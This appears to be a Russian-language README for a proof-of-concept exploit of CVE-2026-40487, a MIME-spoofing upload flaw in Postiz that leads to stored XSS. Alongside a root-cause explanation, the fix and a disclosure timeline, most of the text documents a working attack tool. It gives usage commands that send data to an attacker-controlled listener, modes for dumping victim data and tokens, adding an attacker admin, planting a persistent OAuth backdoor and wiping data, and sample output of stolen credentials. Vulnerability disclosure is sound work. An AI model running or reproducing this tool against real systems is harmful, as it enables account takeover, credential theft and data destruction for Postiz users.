
Эксплойт proof-of-concept для CVE-2026-40487, демонстрирующий произвольную загрузку файлов через подмену MIME, приводящую к хранимому XSS и захвату учётной записи в Postiz. Включает несколько режимов атаки для эксфильтрации данных, повышения привилегий и закрепления в системе.
Обнаружено и сообщено: Astaruf
Полное описание: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
Запись GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz — это инструмент управления социальными сетями с открытым исходным кодом, поддерживающий более 28 платформ (Instagram, X, LinkedIn, Facebook, TikTok и др.), используемый более чем 600 экземплярами, доступными в интернете.
Злоумышленник с низкими привилегиями может загрузить вредоносный SVG (или HTML) файл с подделанным заголовком Content-Type: image/png. Сервер принимает файл без проверки его фактического содержимого, сохраняет исходное расширение, а nginx отдает его с Content-Type, полученным из этого расширения (image/svg+xml). Когда жертва открывает URL, встроенный JavaScript выполняется в origin приложения, что дает злоумышленнику полный контроль над сессией, эквивалентный захвату учетной записи.
Цепочка атаки:
Злоумышленник загружает .svg с Content-Type: image/png
-> Сервер проверяет только заголовок Content-Type (CWE-345)
-> Файл сохраняется на диск с исходным расширением .svg (CWE-434)
-> nginx отдает его как image/svg+xml
-> Браузер выполняет встроенный JavaScript (CWE-79)
-> Тот же origin: полный доступ к сессии жертвы
XSS-пейлоад выполняется в том же origin, что и приложение. Даже если cookie аутентификации имеет флаг HttpOnly, fetch() с credentials: "include" автоматически прикрепляет его. Злоумышленник может:
pos_* токен, который никогда не истекает и переживает смену пароля)Три компонента отказывают независимо друг от друга, создавая цепочку эксплуатации:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype берется из заголовка Content-Type в multipart-запросе, который контролирует злоумышленник. Никакой проверки магических байтов, никакого использования библиотек типа file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) извлекает расширение из имени файла, предоставленного клиентом. Нет проверки соответствия между заявленным MIME-типом и расширением. Сервер также возвращает полный публичный URL в ответе, поэтому злоумышленник получает ссылку для отправки жертве.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx сопоставляет .svg с image/svg+xml, .html с text/html. Нет Content-Security-Policy, нет X-Content-Type-Options: nosniff, нет Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Проверить, уязвима ли цель
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Похитить все данные жертвы
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Создать постоянный бэкдор
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Использовать токен без учетных данных
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Злоумышленник Сервер Postiz Жертва
| | |
|-- 1. Вход/Регистрация ------>| |
|-- 2. Загрузка вредоносного SVG -->| |
|<---- URL файла -----------| |
|-- 3. Отправка URL жертве ---------------------------> |
| |<--- 4. Открытие URL --- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS выполняется, похищает данные ----|
| Режим | Описание |
|---|---|
dump-self | Профиль жертвы, информация об организации, тариф, ключ API |
dump-personal | Отображаемое имя, био, фото профиля |
dump-integrations | Подключенные интеграции социальных сетей и токены |
dump-posts | Запланированные и черновые публикации (за последние 365 дней) |
dump-team | Участники команды, роли и адреса электронной почты |
dump-media | Список медиатеки |
dump-notifications | История уведомлений |
dump-signatures | Подписи к публикациям |
dump-webhooks | Настроенные вебхуки и их URL |
dump-oauth-app | Учетные данные OAuth-приложения (clientId, secret) |
dump-copilot | Цепочки диалогов AI-копайлота |
dump-billing | Информация о биллинге и подписке |
dump-settings | Настройки коротких ссылок и уведомлений |
dump-third-party | Конфигурации сторонних интеграций |
dump-autopost | Правила автопостинга |
dump-sets | Наборы контента |
dump-tags | Теги публикаций |
dump-customers | Список клиентов |
full-dump | Все вышеперечисленное в одном пейлоаде |
| Режим | Описание |
|---|---|
add-admin | Пригласить злоумышленника как ADMIN в организацию жертвы (--attacker-email) |
rotate-key | Перевыпустить ключ API организации и похитить его |
rotate-oauth | Перевыпустить секрет OAuth-приложения и похитить его |
| Режим | Описание |
|---|---|
kill-notifications | Отключить все email-уведомления |
edit-profile | Изменить имя и био жертвы (--edit-name, --edit-bio) |
wipe-signatures | Удалить все подписи к публикациям |
wipe-webhooks | Удалить все вебхуки |
wipe-tags | Удалить все теги |
wipe-sets | Удалить все наборы контента |
wipe-autopost | Удалить все правила автопостинга |
logout-victim | Принудительно выйти из системы жертвы |
delete-oauth-app | Удалить OAuth-приложение жертвы |
| Режим | Описание |
|---|---|
create-oauth-app | Создать OAuth-приложение, автоодобрение, похитить постоянный pos_* токен (--oauth-redirect) |
steal-cookie | Похитить JWT аутентификации через document.cookie (когда NOT_SECURED=true) |
| Режим | Описание |
|---|---|
api-call | Произвольный аутентифицированный API-вызов (--api-method, --api-path, --api-body) |
custom | Выполнение произвольного JavaScript (--custom-js) |
| Опция | Описание |
|---|---|
--check | Проверить, уязвима ли цель (без выполнения атаки) |
--register | Зарегистрировать новый аккаунт перед входом |
-t / --token | Использовать ключ API или pos_* токен вместо учетных данных |
--format html | Использовать HTML-пейлоад вместо SVG |
--proxy | Направить трафик через HTTP/SOCKS-прокси (например, Burp Suite) |
-o / --output | Сохранить добытые данные в JSON-файл |
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — Хранимый XSS через загрузку файла с подменой MIME
[*] Вход как [email protected] ...
[+] Аутентификация успешна.
[*] Генерация пейлоада: Похищение всех данных одним пейлоадом
[*] Загрузка вредоносного .svg с Content-Type: image/png ...
[+] Загрузка успешна.
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Запуск слушателя эксфильтрации на 0.0.0.0:8888 ...
=================================================================
Отправьте этот URL жертве:
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] Ожидание открытия ссылки жертвой ...
[+] Данные получены @ 2026-04-15 03:45:41
tag: victim-profile
data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}
[+] Данные получены @ 2026-04-15 03:45:41
tag: integrations
data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] Данные получены @ 2026-04-15 03:45:42
tag: team-members
data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
...
Версия 2.21.6 внесла три изменения:
file-type для проверки фактического содержимого файлаimage/* catch-all)| Дата | Событие |
|---|---|
| 2026-04-10 | Уязвимость обнаружена при ревью исходного кода |
| 2026-04-10 | Сообщено через GitHub Security Advisory (GHSA) |
| 2026-04-10 | Разработчики подтвердили и запросили уточнения |
| 2026-04-10 | Предоставлены детальные сценарии атаки и данные Shodan |
| 2026-04-11 | Представлен спор по CVSS с доказательствами |
| 2026-04-13 | Исправление выпущено в v2.21.6 |
| 2026-04-14 | Присвоен CVE-2026-40487 |
| 2026-04-15 | Публичное раскрытие |
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Автор не несет ответственности за неправомерное использование.